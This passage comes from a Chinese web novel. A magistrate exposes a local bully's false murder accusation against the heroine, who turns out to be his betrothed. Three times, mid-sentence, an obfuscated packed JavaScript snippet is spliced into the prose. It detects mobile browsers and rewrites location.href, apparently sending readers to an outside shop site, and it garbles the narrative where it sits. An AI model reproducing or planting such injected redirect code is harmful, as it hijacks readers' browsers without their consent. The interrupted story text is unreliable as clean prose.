“后脑有一处砸伤,凶器应该就是这块石头。不过石头不大,男人抓握起来就太小了,不趁手,而且砸得力气也不大。死者起初应该只是昏迷,但面部朝下,昨夜又下着雨,所以才窒息而死。” “你的意思是凶手是个女人?” 陈君迁话音未落,就听身后传来一声刺耳的呼喊,声音像是铁片刮过毛糙锈迹发出来得一般嘶哑难听。 “陈县令,你可得给我做主啊!” 陈君迁头也没回,便知道来者何人——萧景垣,永宁县有名的恶霸,据他说,上京有一大官是他的远房表舅,他仗着表舅的势,在永宁县欺男霸女无恶不作。 这人算是他县衙的常客了,只不过以往都是被告,今天倒是稀罕,成原告了。 陈君迁打眼往西边找了找太阳,转过身去:“怎么回事儿?” 萧景垣凑到陈君迁面前:“陈县令,我昨天新纳了一房小妾,谁料那贱人趁我喝多了酒,跑了!我这小厮去追,结果……结果就让那娘们儿给杀了呀!” 他掩面而泣:“陈县令,你帮我把那贱人抓回来,我答谢你十两银子!” 陈君迁看着他演,心里冷笑——谁不知道他萧景垣之前几房小妾都是抢来的?玩腻了就把人卖到妓院再纳新人,谁家还会把宝贝女儿送他做妾? 答谢他十两银子?是想从他手里买姑娘吧! 不过他面上倒是没有露出分毫鄙夷,让萧景垣把那姑娘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711573|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体貌特征叙述一遍。 萧景垣哪能记得清楚?昨天见到沈京墨的时候天都快黑了,追了一路,也就记住个背影。晚上他又去县里的醉花楼,喝得烂醉,点了两个美人儿,颠鸾倒凤了一整夜,早上才想起来还有沈京墨这么个事。 “漂亮!特别的漂亮!”他只有这么一个印象,具体怎么个漂亮法是记不起来了,“天上的仙女一样!一身白,俏得哟!小腰就这么细。” 萧景垣提起女人就兴奋,更何况是他这辈子从未见过的绝世美人,就差边比划边流口水了。 周围的衙役或是感兴趣地窃笑,或是不屑地移开视线。 陈君迁听见“漂亮”和“一身白”这两个关键词后,眼神陡然一凛。 昨夜他捡到画里那个姑娘的地方,离这里可不远。 想到这里,陈君迁命衙役们带着萧景垣和小厮的尸体先回衙门去等他。 “大人,那您呢?” “我有东西落在家里了,回去取一趟。你们不必等我。” * 沈京墨和陈川柏走在通往永宁县的小道上,陈川柏滔滔不绝地给她讲着东家长西家短,谁家种的果子最甜,谁家的菜最好偷,想起什么说什么。 当然,说的最多的,是关于他哥陈君迁的。 沈京墨不插话,专心低头走路,偶尔应上一声,让陈川柏知道自己没有掉队。 从他的话里,沈京墨了解到,永宁县多山,出去的路都被群山包围,外人想进来很不容易,最好翻的山就是南面的武凌山。 永宁县的地形像颗被咬了一口的煮鸡蛋,缺口在西南方,葡萄村在最南边,半座武凌山包着半个葡萄村,剩下半座从鸡蛋缺口的正中间拐着弯插/进永宁县,正好拦在了葡萄村和永宁县之间。 葡萄村没有葡萄,是很多年前有人去过西域,回来后便对这种叫葡萄的果子念念不忘,逢人便讲,久而久之,人们便把这个无名小村叫做了葡萄村。 葡萄村隶属于永宁县,永宁县又隶属于长寿郡。陈君迁是土生土长的永宁县人,这辈子都没离开过这里。 原本他上任后,该搬到县里去住,但他们的爹不愿搬走,说家里有早逝的妻子的影子,于是陈君迁也没有搬出去住。若非有正事要忙不得不宿在县衙,他都会住在家里,或是翻武凌山,或是绕远一刻钟,走他们现在走的这条平坦些的路去县衙上值。 沈京墨听着奇怪。她以前曾听父亲说过,大越的官,上到尚书仆射,下到一县卫所的校官,都必须遵守十分严苛的制度。例如县令,须得有至少三年的仕途经验才能上任,而且绝不可在家乡任职,而且除了休沐,都要呆在官署不能回家。 怎么这个陈君迁如此特殊? 但经过昨夜的事,沈京墨对陈君迁没什么好感,便没有问。 走了约莫半个时辰,远远看见了永宁县城的城门,陈川柏兴奋地指给沈京墨瞧。 那小小的城门和上京气派恢宏的大门可没法比,沈京墨笑了笑,对陈川柏道:“进城后,恩人要去何处?” “去县衙找我哥!” 沈京墨脸色一变,她并不想看见他。 “好,那便不打扰恩人了。等进了城,恩人只管去忙便是,不必等我。” 她的本意是大家就此别过,但陈川柏毕竟是个孩子,听不出她的弦外之音,以为她想去逛街,便乐呵呵地答应了:“那你的事要是办完了,可以来县衙找我!” 沈京墨不置可否地笑了笑。 * 葡萄村,陈家。 陈君迁大步走进院里,见东屋门开着便径直走了进去。 屋里一地鸡毛,椅子在门背后,上面还放着一个装了半盆泥水的脸盆。 桌上放着一支朱钗,触手冰凉,看上去价值不菲。 她不在这里。包袱也不在。 陈君迁环视一圈后,皱着眉头,转身走出屋去喊陈川柏的名字。 出来的却是陈大。 瞧见陈君迁中途返家,他也觉得奇怪。 “你弟弟带着那姑娘,一大早就上县衙找你去了。你没见着?” 陈君迁一听,忙问他们具体是何时走的,又一算萧景垣和衙役们出发的时辰和路线,心中不由得一紧,连句解释也没给陈大说,调头朝武凌山的方向跑去。 5. 寻夫 沈京墨独自走在永宁县的大街上,身上还穿着件脏兮兮的裙子,路过的人不免用奇怪的眼神打量她。 从葡萄村到永宁县走了约莫半个时辰,走得她脚都酸了,肿胀的脚踝似乎又肿得更高了,撑得袜子有些发紧。 永宁县城虽说也不富裕,但怎么着都比葡萄村强不少。沈京墨站在街上,闻着空气里诱人的包子味,看着店里料子尚可的成衣,心情好了一些。 找未婚夫什么的可以先等等,虽然并不对这门亲事抱什么期待,但她总不能一身狼狈地去见未来夫婿。 沈京墨一路南下,身上的盘缠用得差不多了。她打算先找间当铺,把一些首饰当掉,换些现银,再去成衣店买几件干净舒适的衣裳,最后找家客栈,吃顿饱饭,把自己洗洗干净,再舒舒服服地睡上一觉。 谁知,她刚刚完成了前面两个任务,穿着新买的干净白衣从成衣店出来,迎面就撞上了一队衙役。 她原本在低着头数找回的钱,余光瞧见前方有人便想绕开,可对方却不让她走,横跨一步挡在了她面前。 “就是她!就是这个小娘们儿!人就是她杀的!” 沈京墨被这一声怪叫吓得一抖,惊慌失措地抬起眼来,就看见昨天傍晚在武凌山那头遇见的那群歹徒的领头人! 周围众人一听见“杀人”,都大吃一惊,纷纷围了过来,用审视的眼神打量起看上去柔柔弱弱的沈京墨。 萧景垣见人聚的越来越多,更是扯开了嗓子指着她喊。 “大家都来看看啊!萧某我昨天洞房,结果这娘们儿把我灌醉,偷了我的银子跑了,还把我追出去的小厮给杀了!可怜我那小厮打小跟在我身边,忠心耿耿,就被她用石头活活给砸死了啊!” “你、你胡说什么?!我根本不认识你!”沈京墨涨红着脸争辩。 昨天她的确打了人,可她力气那么小,怎么可能一下就把人杀死了呢?再说什么洞房什么偷银子,根本就是血口喷人! “嘿?你还敢跟老子叫板?正好,辛苦县衙的兄弟们跟我跑一趟了,既然人抓到了,我自己把她带回家好好管教就是。改天请兄弟们喝酒!” 萧景垣装模作样地对身后的衙役们拱了拱手,转回身来,上来就要拉扯沈京墨:“等回了家,看老子怎么收拾你!” 永宁县众人都知道萧景垣的恶名,许多人也猜到,这姑娘八成也是被这恶霸盯上的苦命人。但萧景垣的表舅是大官,他们谁也不敢阻拦,只能默默为沈京墨叹气。 谁让她命不好,撞上这个恶棍? 县衙的人也没阻拦,既然是人家的家事,他们也就不好插手了。 萧景垣横行乡里多年,知道所有人都忌惮他表舅,不敢拦他,于是肆无忌惮地上前撕扯沈京墨。 沈京墨想跑,可周围已经被围观群众堵得水泄不通,她左躲右闪,都找不到出去的路。 眼看着萧景垣的脏手已经伸到了她眼前,只要再近一点就要摸到她的脸。 沈京墨眼一闭心一横,拔下脑后的簪子狠狠朝前刺去。 “噗嗤”一声,尖锐的簪子入肉,沈京墨的手背上霎时溅上了点点温热。 人群中响起一阵惊呼和骚动,衙役们像是刚刚从震惊中反应过来似的,一个个焦急地喊着“大人”。 沈京墨颤抖着睁开眼。 她和萧景垣之间,不知何时出现了一个高大的男人,衣襟有些松散,像是急匆匆跑了很长的路过来,从脸到脖子都是涨红的。 他的手死死抓着萧景垣的胳膊,疼得萧景垣龇牙咧嘴,脸涨成了猪肝色,痛得只能张大嘴“咝咝”的吸气,却连声疼都叫不出来。 男人的另一只手拦在她跟前,像是正要将她护在身后。 她手里的簪子正扎在了他手背,入肉不深,但鲜红的血已经顺着手指滴了下来,滴答滴答落在她白色的裙角。 “啊!”沈京墨愣了几瞬后,慌忙把簪子拔了下来,又带出几滴血来。 “嘶——”陈君迁这下感觉到痛了。 他瞪了萧景垣一眼,把他甩给几个衙役,转过身去看向沈京墨。 她眼眶微红,眼里噙着泪,紧紧咬着下唇,气息一抖一抖的,显然是吓坏了,盯着他的手,像是想问他怎么样,可是又说不出话来。 “我没事儿,不怪你。” 陈君迁沉声安慰她一句。他的声音干净沉稳又有力,沈京墨惶惶不安的心,竟莫名地平复了下来。 旁边一个一袭绯色长衫,手握折扇,长相十分精致、眉眼几乎妖冶的男人低声嗤笑一声,适时地递给陈君迁一条干净的布条。 他把伤口用布条随便裹了两下,眼神冰冷地睨着萧景垣。 “将嫌犯和萧景垣带回县衙,准备升堂。” * 永宁县衙外挤满了看热闹的民众。 堂下,萧景垣捂着差点被陈君迁捏断的手,和沈京墨并排跪着。 陈君迁换上了深绿色的官袍坐在堂上,那个漂亮得过分的男人则站在他身后,折扇轻摇,目光饶有兴致地在陈君迁和沈京墨之间游移。 “萧景垣,你说这个女子是你新纳的妾,小厮也是被她所杀,可有证据?” “有!当然有!”萧景垣斜眼瞧着沈京墨,得意地哼了一声,从袖中掏出一支精致的玉钗,“这是我在尸体旁边捡到的,大人问问是不是她的!” 沈京墨看见那玉钗,脸色一白。 昨晚奔命时跑得太快,雨又太急,她也不知一路上掉了多少首饰,这支八成是被这歹人捡去,故意栽赃她的。 衙役把玉钗交给了陈君迁。 “这玉钗可是你的东西?”他问沈京墨。 沈京墨咬了咬牙,抬眼看看玉钗,又听见身边的萧景垣理直气壮地哼了一声。她苍白着脸点了点头。 “是我的……” “掉在何处?” “武凌山。” “何时丢失?” “昨晚……” “大人你看!她自己都承认了!” 萧景垣得意地叫嚷着,陈君迁沉着脸猛地一拍惊堂木,吓得他脖子一缩闭上了嘴。 陈君迁看向沈京墨:“说说你昨晚为何在武凌山,当时又发生了什么。” “回大人的话……小女自北边来,到永宁县寻亲,昨晚途径武凌山,路遇这人……言语轻薄,意图不轨。小女只顾着逃命,这支玉钗具体是何时丢失在何处,小女也不能确定……” “胡说!大人她胡说!哪有人大晚上才开始翻武凌山的!”萧景垣嚷嚷起来,倒真像是他被人污蔑了一般。 “肃静!”陈君迁大喝一声,震得衙门内外都抖了一抖。 他又转向沈京墨,语气温柔了许多:“你接着说。” 沈京墨惶恐地瞥了萧景垣一眼,瑟缩了一下,尽力让自己冷静下来,继续道:“那时天很黑,小女被他的人堵在林中,万般无奈之下,才动手伤了其中一人。但小女气力微弱,断不可能一击将人杀死!求大人明鉴!” “你将人伤在何处?” “……脑后。” “用的什么凶器?” “山上的石头……” 案发经过,陈君迁已经大致了解,心里也有了判断。 萧景垣在山上时听见了仵作唱伤,眼下沈京墨说的杀人凶器和伤口位置,都和仵作所说对上了,这案子自然结局已定。 他得意地仰起下巴,侧目睥睨沈京墨。 这么漂亮的美人儿,就是性子烈了点,不然他倒真想把她收了。 可惜,他已经对她另有安排了,只等陈君迁宣判结果,就把人领走。 陈君迁回头,和身后的谢遇欢对视一眼,眼神点了点案上的玉钗。 谢遇欢折扇一合,了然地上前一步,将那玉钗拿在手中把玩起来,同时抬脚朝堂下的两人走去。 他在两人身前站定。 萧景垣仰着脖子,一脸得色。 沈京墨也抬起脸来看他,一双明眸中泪光涟涟,却坚强地忍着没有落泪。 谢遇欢反反复复摸着簪子,修长的手指轻拢慢捻抹复挑,引得衙门外围观的未婚女子和已婚女子、甚至是满眼皱纹的大婶,都禁不住发出小声的尖叫。 听见尖叫,他也笑,笑得像只狡黠又俊美的狐狸。 “你说这玉钗是她的,还是你的?”谢遇欢问萧景垣。 “当、当然是她的!她不是都承认了吗!我还能拿自己家东西栽赃她不成?” “你确定是她的,不是她从你家偷的?” 萧景垣搞不懂了,看他这样子,怎么好像巴不得他说这玉钗是他的一样? “我确定,这绝对不是我家的东西,就是她的,她掉在现场的!” “啊~好!” 谢遇欢问罢,陈君迁也走了过来。两人站在一处,谢遇欢恭恭敬敬地把玉钗递还到陈君迁手中。 “大人,在下在上京经商时,见过这种质地和工艺的玉钗,都是达官贵人家的夫人小姐才买得起,咱永宁县的师傅是做不出来的。” 萧景垣这下更糊涂了。 谢遇欢则是笑着转身,折扇一指他的鼻尖:“方才在下反复向他确认,这玉钗确是这位姑娘所有,可姑娘又不能确定具体丢失的时间和地点,甚至……这玉钗是否就是昨夜丢失在武凌山上,都未可知。” “大、大人……你这是什么意思?!” “意思是,这玉钗是这姑娘的不假,却被你所盗!你见这姑娘的首饰价值不菲,又颇有几分姿色,便起了歹心,派手下恶奴去抓人,不想却反被姑娘打伤,意外死于山中。今日你又用这偷来的赃物,污人清白!” 萧景垣都懵了! 这是什么奇思妙想的转折?! 他确实看上了沈京墨的姿色,也确实派人去抓她了,但他没偷她玉钗啊!这不应该是证明她去过现场的证物么?怎么倒成了他的赃物了?! “大人!大人您不能听他胡说八道啊!”萧景垣急了,“他这完全是歪曲事实!一定是和这贱人有染,故意帮她栽赃陷害小人啊!” 陈君迁从谢遇欢手中接过玉钗细细摩挲。 “这玉钗入手光滑,做工精细,的确不曾在永宁县见过,可见这位姑娘家世不错,怎么会委身于你做小妾,还偷你的银子? “那小厮的尸体在武凌山南坡,头朝山顶方向,显然是从山外上山的过程中死亡。若真如你所说,是追着这姑娘而去,应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711574|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头朝山下。” 陈君迁说着,语气渐冷:“你们二人供词虽不同,但也有相同之处,那就是你带着你的人深更半夜,想对这位姑娘行不轨之事,却不想被人家反杀,如今还想恶人先告状!” “这是污蔑!是污蔑!”萧景垣高声大叫着,“你没有证据!你凭什么说我恶人先告状!” 一旁的谢遇欢笑:“那你纳人家为妾在先的证据呢?婚书虽然没有,卖身契总有吧?” 萧景垣彻底傻眼了。 只听谢遇欢优哉游哉地摇着扇子继续道:“哎呀呀,纳妾的证据没有,偷盗的证据倒是实打实的。” 陈君迁垂眸问沈京墨:“这支玉钗几两银子?” 沈京墨已经被他们两个的一唱一和弄糊涂了,听他这么问,一时也不知该如何回答——她以往只管挑首饰,看中哪些就包起来,让人送去府上领银子,可从没问过价格。 “二、二十两?”她猜了个价格。 陈君迁突然放大了声量:“多少?三十两?” 谢遇欢低笑:“大人听岔了,四十两。” 陈君迁恍然大悟:“原来是五十两!” 他俩一来一回地哄抬玉钗价格,把沈京墨和萧景垣都看呆了,不知道他们葫芦里卖的什么药。 陈君迁叫完价,也不再问二人问题,转身走回堂上。 “原告萧景垣,偷盗玉钗,值银五十两,杖四十。反诬失主,罪加一等。杖五十,责令物归原主,另补偿失主纹银十两。” 听完陈君迁的判决,萧景垣不服,梗着脖子道:“陈君迁你好大的胆!我表舅是大官,我表舅是大官!” 陈君迁没搭理他。 但谢遇欢心软,总会让被判决者死个明白。 他在萧景垣耳边蹲下,脸上的笑容始终不曾退去。 “按照我朝律法,窃者,斩其手。县令大人已经看在您表舅的面子上,给你留了两只吃饭的家伙了。” 萧景垣不忿,还要起身,却被谢遇欢用扇子给压了下来。 “诶,你要是不满意,可以接着审嘛。只不过再审,就得把仵作叫上来了。方才升堂前,仵作又验了次尸,发现脑门上也有砸伤,一开始还以为是摔倒时磕伤的,后来发现不是——是有人在他站起来以后,又补的一下,连后脑的洞也补砸了好几下。啧啧啧,死得可真惨呐……听说指甲缝里还有肉屑,估计是在凶手身上抓的。萧大少,要不咱脱了衣裳,验验伤?” 萧景垣这下不敢再挣扎了。 昨晚他和醉花楼的俩姑娘玩儿得花得很,现在身上还有没消下去的痕迹呢,难保背上没几道抓伤,万一真让人验出来了,可就说不清了。 见他面如菜色,谢遇欢笑意更深,拍拍他的肩:“怎么样萧大少,还审么?” “不不不,不审了不审了,陈大人判得对,判得好!” 萧景垣低着头,恨得咬牙切齿。 昨晚找到那小厮的时候,他的确还活着,但让沈京墨给跑了,他气得不行,借着酒劲冲小厮撒气,最后打急了眼,把人给打死了。 知道闹出人命,萧景垣清醒了些,把小厮摆回一开始被沈京墨砸晕后的位置,又狠狠砸了几下确保人死了,才丢下石头跑下山。 他狠狠瞪了沈京墨一眼。 原本他想着今天要是顺利把她抢回家,今晚就给她开了苞,睡她个七八/九十回。睡够了,再把杀人的罪名推到她头上,送给那小厮的爹娘当儿媳,还省了他一笔医治费用和抚恤金。 没想到这陈君迁非要多管闲事,坏了他的好事。 不过看在他没有深究的份儿上,他大人有大量,暂且饶了他。 萧景垣耷拉着脸,冲陈君迁没精打采地一抱拳,转身就走。 “站住,”陈君迁叫住了他,声音沉而有力,不容置疑,“五十杖,即刻执行。” “姓陈的!”萧景垣还准备回家找个小厮来替他受刑,没想到陈君迁竟然得寸进尺! 谢遇欢侧目观察了一眼陈君迁的表情,发现都快要比锅底还黑了,知道他已经到了暴怒边缘,萧景垣再不走,只怕会死得更惨,于是忙挥了挥扇子,让衙役们把萧景垣拖下去行刑了。 听着后院传来的杀猪般的惨叫,沈京墨还有些懵。她怎么都没想到,这件事会以这样的方式结束。 案子了结,陈君迁心情也好了不少。谢遇欢最擅长察言观色,见状,笑着将沈京墨扶了起来。 下一刻,就收到陈君迁一记眼刀。 谢遇欢忙收回了虚扶她手臂的手,退到一边去了。 陈君迁这才缓和了神色,看回沈京墨。 “姑娘方才说来永宁县寻亲,不知是哪家的亲戚?” 沈京墨咬咬唇,四下看了两眼,心想周围这么多人,兴许有人认识她的未婚夫,便轻声回了陈君迁的话。 “回大人,小女来寻自己的未婚夫。他姓陈,二十来岁,父亲叫陈大,母亲姓满。” 话音落罢,县衙里里外外都传出了此起彼伏的惊呼和窃窃私语。 沈京墨不明就里,略有些慌张地四下看了一圈,抬眼望向堂上的陈君迁。 却见他眼也不眨地盯着她,那眼神火热得,活像要把她吃了似的。 6. 画中仙 今日审案,半个永宁县的人都聚在了县衙。沈京墨并不知道,自己刚刚当着半个县的人的面,宣布了自己是未来县令夫人这件事。 四面八方投来的打量目光让她无处可躲,沈京墨死死咬着下唇,不知为何,总觉得自己好像刚出虎穴,却又进了狼窝。 所有人中,还是谢遇欢反应最快,见沈京墨不尴不尬地站在那儿,他颇有眼色地上前,客客气气地喊了声“嫂夫人”。 沈京墨惊:“大人叫我什么?” “嫂夫人,您要找的未婚夫,正是刚刚为您洗脱了冤屈的陈大人。” 沈京墨的视线随着谢遇欢所指的方向看去,正对上陈君迁那双黑沉沉的眼。 这是她第一次仔细观察他的模样。 他个子很高,六尺有余,身板结实,脸不知是晒得还是天生如此,是有些深的小麦色,眉毛很浓也很粗,一双眼睛尤其亮,面无表情地看着谁时,当真有些凶,和上京那些白净清瘦的贵公子一点也不一样。 她愣怔地与他对视片刻,慌忙避开了视线。 沈京墨如今的心情异常复杂—— 一方面,她对陈君迁昨夜两次闯入她房间的事耿耿于怀,觉得他这人粗鄙无礼又行事莽撞; 另一方面,他又的确救过她的命。不管是昨夜在武凌山上,还是方才在县衙,如若不是有他帮忙,她就算昨夜侥幸逃脱,今日恐怕也难逃恶霸萧景垣的魔掌。 沈京墨紧抿双唇,一时不知该作何反应。 好在她这次没尴尬太久,又有人来找陈君迁。衙役在他耳边耳语两句后,陈君迁点了点头,向沈京墨走来。 他身量高,肩膀也宽,穿着威严的官服大步朝她走来,压迫感十足。 沈京墨下意识地向后退了半步。 她一退,陈君迁的步子也停了,隔着两步远,声音尽量放柔和地同她说话。 “你今儿出来得早,刚才又受了惊吓,眼下该多休息。县衙后院有我一间屋子,平时空着,床褥都齐全。你先去歇息,吃点东西,睡上一觉。要是想出去逛逛,川柏也在,叫他陪你去。” 说罢,又转向谢遇欢:“从西边走,别污了她的眼。” 谢遇欢听着从东后院传来的萧景垣的惨叫声,斜眼瞅瞅沈京墨,又瞧瞧故作严肃的陈君迁,嘴里咂摸着那句“你今儿出来得早”,笑着给他递了句话:“大人好久没这么细心过了。” 陈君迁没理他,目送着沈京墨走进后院,才去处理自己的事。 * 陈君迁的屋子很大,至少比他家大。 谢遇欢把沈京墨送到便走了,临走时还意有所指地说,有事只管喊衙役去做,为了他的人身安全,他不方便久留。 沈京墨不大明白地点点头,又感谢了他方才的帮助。待谢遇欢走后,沈京墨在后院里找了半晌也没找到一个女子,踌躇半晌,才找来一个衙役,扭捏地拜托对方去弄些吃食和沐浴的热水来。 按理说伺候县令家眷不是衙役的活儿,但毕竟是陈大人的夫人,又长得这般漂亮,说话也好听,衙役乐得帮忙,没多久就准备好了浴桶和热水,还有一笼刚出炉的蒸饼。 沈京墨就着茶水,吃了大半块蒸饼。等她吃完,水还热着。 沈京墨几日不曾沐浴,如今终于能洗去连日奔波的尘埃,先前沉郁的心情一扫而光,整个人没入水里,又浮起,再沉入,一边擦洗一边玩水,玩得不亦乐乎。 陈君迁忙完来到后院,在门外就听见了屋里的水花声。 他敲门的手顿住了,须臾,无声地笑了一下,后退两步坐到了门口的台阶上等她。片刻后,又觉得坐在这儿像是偷听人姑娘洗澡的流氓,实在不妥,便抬起屁/股往旁边挪了两步,又挪了两步。 沈京墨不知道陈君迁就在门外,这一洗就洗了两刻钟,直到水微微凉,她也觉得乏了,才缓缓爬出浴桶。 听见屋里水声没了,陈君迁又等了一小会儿,想着她应该换好衣裳了,这才站起身来拍了拍裤子上的土,轻轻扣响了沈京墨的房门。 许是因为现在是白天,又或者是因为她现在在县衙,沈京墨胆子大了许多,没有像昨天的惊弓之鸟似的被敲门声吓到。 她飞快地理了理衣襟,确定自己穿着得体,不会失了大家闺秀的礼仪,才将门打开。 看见是陈君迁时,她愣了一下,但再一想也并不觉得意外——这里是县衙,他是县令,又是她的未婚夫,她还在他的屋子里,他来找她实在太正常了。 沈京墨只怔了一瞬便回过了神,对着陈君迁款款福身:“陈大人。” 她不知道该怎么称呼他,思来想去,还是叫陈大人最合适,既不过分亲近,也不显得疏离。 陈君迁“嗯”地应了一声,本想进屋,但沈京墨却站在门口,没有让他进去的意思。 僵在半空一刻,他微微抬起的脚又放了回去。 “沈小姐,”陈君迁也客气地称呼她,“我是来向你道歉的。” 沈京墨有些意外。 “一是为昨晚的事,多有得罪,请沈小姐莫怪。” 沈京墨极低地“嗯”了一声,双颊微微发红。 “二是为方才的判决,”说完第一件事,陈君迁的呼吸放松了许多,他原本还怕沈京墨不会这么轻易原谅他,“昨夜武凌山上雨大,又是萧景垣最先发现了尸体,仵作赶到时,尸体附近已经找不到任何足印一类的痕迹,尸身上的伤也不足以指认凶手。是我无能,没法让萧景垣伏法,只能借沈小姐的玉钗对他施以惩罚,五十两的失窃物品是叛他受刑的底线。只是……委屈沈小姐了。” 沈京墨默然。 原本她对于陈君迁编织罪名惩罚萧景垣的做法并不赞同。父亲虽不在刑部任职,但也曾说过,即使是犯罪之人,也不该被判决者随意罗织罪名,衙门须得以公平正义的手段做出裁决。 但想起他和谢遇欢两个人一唱一和地,绕着弯给本来可以逃脱惩罚的萧景垣定了罪,她似乎也不是那么厌恶他这剑走偏锋的法子。 “大人自有一套断案之道,不必与我解释,更何况大人还为我洗脱了冤屈,我感激还来不及。” 陈君迁的心终于放到了肚子里。 他原本还担心未来夫人对自己印象不佳,如今看来,仙女就是仙女,善解人意得很! 心安了,他接下来的话说得也有底气了:“沈大人的信我昨天已经收到了,刚让人看了日子,五天后就是个宜嫁娶的吉日,你觉得怎么样?” 听他提到婚事,沈京墨的脸瞬间变得更红了。 婚期这么近,听上去像是怕她着急似的。 她也不想急的,但她没办法——她能活到现在,全凭和他的婚约,若是已经到了永宁县还迟迟没有成亲,难免有欺君之嫌。 沈京墨垂着眼:“全凭大人做主。” 她的反应平平淡淡,声音轻飘飘的,不知为何,陈君迁总觉得她像是受了委屈却不肯说。 于是他抬起手来,拍拍她的肩膀安慰道:“你放心,我会替沈大人照顾好你,不会让你受欺负的。” 他这样的动作放在永宁县不算什么,可在上京,未出阁的姑娘被外男这样碰,哪怕那人是她的未婚夫婿,也是极为不妥的。 沈京墨本能地闪了一下,他的手扑了个空。 陈君迁呆愣一瞬,不知道自己为何会惹她不快,细想想,大概是他拍肩的力道重了点? 沈京墨察觉到他身子一僵,也有些惊慌——他是她的未婚夫,也是她的救命稻草,她方才闪躲的动作太过明显和疏离,他会不会生气? 两个人都暗自揣测着对方的心思,一时相顾无言。 沉默了一会儿,陈君迁借口还有事,让沈京墨好生休息,等他下值再来找她。 沈京墨自然不会挽留,和一个如此高大强壮的陌生男子独处,她一时半会还无法习惯,巴不得他离开让她一个人呆着。 两人分别后,沈京墨将房门一插。离陈君迁下值时间还早,她无事可做,也不想上街去,让人当个什么似的围观。 她有些困意,但在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711575|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈君迁的屋子里,被陌生的气息包围,她一时又睡不着,干脆躺到床上,大睁着双眼盯着屋顶的横梁,一双手搭在小腹上,手指紧张地绞在一起。 还有五天,她就要嫁人了,嫁给一个刚刚认识不到一天的陌生人。 她从小就以为,自己早晚有一天会嫁给伯鸿哥哥,也只有像他那样温润如玉的谦谦君子,才是她心中理想的丈夫。 她会与他举案齐眉,白头偕老,平日里为他操持家事,他休沐时,二人春日踏青,冬日观雪,他抚琴她便吹笛,他作画她便研墨,如此相伴一生,该多好。 可惜老天却跟她开了个天大的玩笑。 想着想着,两行清泪不由得滑落耳畔。 * 谢遇欢就在院里等着陈君迁,见他从沈京墨那儿出来,便凑上前来,与他并肩而行。 “‘你、今儿、出、来、得、早’,”谢遇欢一边摇扇子一边侧目看他,“真人不露相啊陈大人,你怎么知道人家今儿什么时候出门的呀?” 陈君迁也斜睨他一眼,正色道:“昨晚她被萧景垣追得无路可逃,晕倒在了武凌山上,我正好路过,把人救了。” “哦~”谢遇欢发出一声曲折回环山路十八弯的调侃,“敢情是英雄救美,天降奇缘啊。诶不过我怎么瞧着这位沈小姐那么眼熟呢?” 陈君迁没有回答他的问题,却将袖子撩起来几寸,露出了官服之下的衣袖。 那衣袖上,赫然画着一张美人面,云鬓细眉,明眸善睐,细瞧竟和沈京墨的长相分毫不差! 谢遇欢瞧见这画,立马就想起来了。 “这不是你那幅画上的美人儿吗?!” 陈君迁点头。 谢遇欢却还没说完:“就是你非说是天上的仙女相,恨不得天天抱着睡,还非让我描画到你每件衣服上的唔唔唔……” 陈君迁捂住了他的嘴。 前面不远处出现了几个衙役,陈君迁狠狠瞪了谢遇欢一眼,警告他不许再说了。 谢遇欢拿扇子轻轻拍了拍他的手背,陈君迁这才撒手。 看他那模样,谢遇欢暗自好笑。当初陈君迁刚得到那幅美人画时,软磨硬泡,让他又是描衣裳又是刻木雕。一连七八天,他睁开眼就是画像和一地的衣裳画纸木块。也幸亏美人确实美,他才没画腻。 那会儿他还以为自己得给他描一辈子美人图了,谁成想,他后来刻着木章的时候,只是随口夸了句“国色天香绝非凡品”,下一刻画像就被陈君迁抢走,捂起来再不肯让他看一眼了。 谢遇欢心里笑道,这屋里那位可是个活生生的大活人,看这小子还能藏哪去。 两人正了神色,继续向前走去。 路过衙役们身边时,才发现他们正围在一起七嘴八舌地议论画本子。 “哎哟喂,你们说这画中仙到底是神仙还是妖怪?她到底知不知道自己是画里的人啊?怎么书生一告诉她这事儿,她就钻进画里不出来了呢?那她到底是喜欢书生还是不喜欢啊?” 陈君迁和谢遇欢两人都听见了,但陈君迁装作没听见的样子,直挺挺地从衙役们身后走了过去。 谢遇欢见状忙追上他,狐狸笑着在他耳边“进谗言”:“你那美人儿,不会也和那‘画中仙’一样,是从你那画像里走出来的吧?” 陈君迁目不斜视:“鬼神之言都是画本里骗人的玩意儿。” “这可说不准!你想想啊,你三年前从土匪窝里搜出来的美人相,竟然和远在上京的沈大小姐一模一样,而且她还是你订了娃娃亲的未婚妻!这要是巧合那也忒巧合了!再说,三年前她才多大,还是个没张开的女娃娃呢,那画可是跟她现在长得一模一样。” 陈君迁侧目看他:“什么意思?” “没什么意思啊,就是听见了故事,有感而发,发散思维。”谢遇欢笑得狡黠。 